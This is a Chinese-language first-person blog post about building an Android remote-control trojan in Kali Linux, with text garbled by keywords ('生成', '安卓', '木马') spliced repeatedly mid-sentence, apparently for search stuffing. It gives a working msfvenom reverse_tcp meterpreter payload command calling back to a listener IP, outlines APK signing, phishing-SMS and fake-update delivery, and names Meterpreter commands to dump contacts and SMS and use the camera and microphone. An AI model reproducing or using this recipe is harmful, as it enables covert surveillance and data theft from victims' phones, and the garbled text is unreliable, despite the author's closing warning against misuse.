kali生成安卓木马
凌晨两点,生成我盯着终端里跳动的安卓光标,输入了最后一条命令。木马msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > evil.apk。生成回车,安卓文件生成,木马1.2MB。生成就这么简单,安卓一个能远程控制安卓手机的木马“木马”就躺在我的下载目录里了。
别误会,生成这不是安卓什么高深莫测的黑客技术。Kali Linux里集成的木马Metasploit框架,把过去需要手工编写exploit的生成活儿全自动化了。你只需要知道目标的安卓IP地址,选好payload,木马再指定一个监听端口,剩下的事交给工具链就行。整个过程不超过五分钟,比安装一个微信还快。
但真正的坑在后面。生成的apk默认是未签名的,直接扔到安卓手机上根本装不上——系统会提示“应用未安装”。你得先用keytool生成一个签名证书,再用jarsigner给apk签名。这一步卡住了不少新手,网上教程里往往一笔带过,可实际操作时,证书的有效期、算法选择、密钥库密码,任何一个细节出错都会让你前功尽弃。
就算你成功签了名,把文件传到对方手机上,对方也得在设置里打开“允许安装未知来源应用”。这一步就筛掉了90%的普通人。所以现实中的攻击场景,往往配合钓鱼短信或者伪装成游戏更新包,诱导用户主动点击安装。技术从来不是最难的环节,人性才是。
我测试的时候用的是自己的旧手机,一台红米Note4X。安装完点了图标,应用界面闪了一下就消失了,没有任何反应。但同一时间,Kali这边显示session已建立。我输入help,看到了完整的命令列表:dump_contacts、dump_sms、webcam_snap、record_mic。那一刻后背有点发凉——如果这不是我的手机呢?
实际控制体验其实挺粗糙的。通过Meterpreter会话执行命令有延迟,截屏需要等两三秒,录视频更是卡顿明显。而且现在的安卓系统权限管理越来越严格,Android 10以上版本对后台麦克风、摄像头的调用都会在状态栏显示提示图标。这玩意儿说白了,更适合在测试环境里验证漏洞,真要拿去干坏事,成功率低得可怜。
Kali里还有更隐蔽的替代方案,比如生成一个绑定正常apk的“捆绑马”,或者用AhMyth这类图形化工具实时操控。但原理都一样:都是利用系统开放的调试接口或者用户授权的漏洞。安卓的开放生态本身就是双刃剑——开发者喜欢它的自由度,攻击者同样喜欢。
写到这里,我看了眼时间,凌晨三点半。我把生成的evil.apk删了,顺手清空了监听会话。测试归测试,有些边界还是得守住。工具本身没有善恶,但使用工具的人得有。你要是真好奇,装个Kali虚拟机自己玩玩无妨,但别拿它去碰别人的设备——那不只是违法,更是把自己的人品也搭进去了。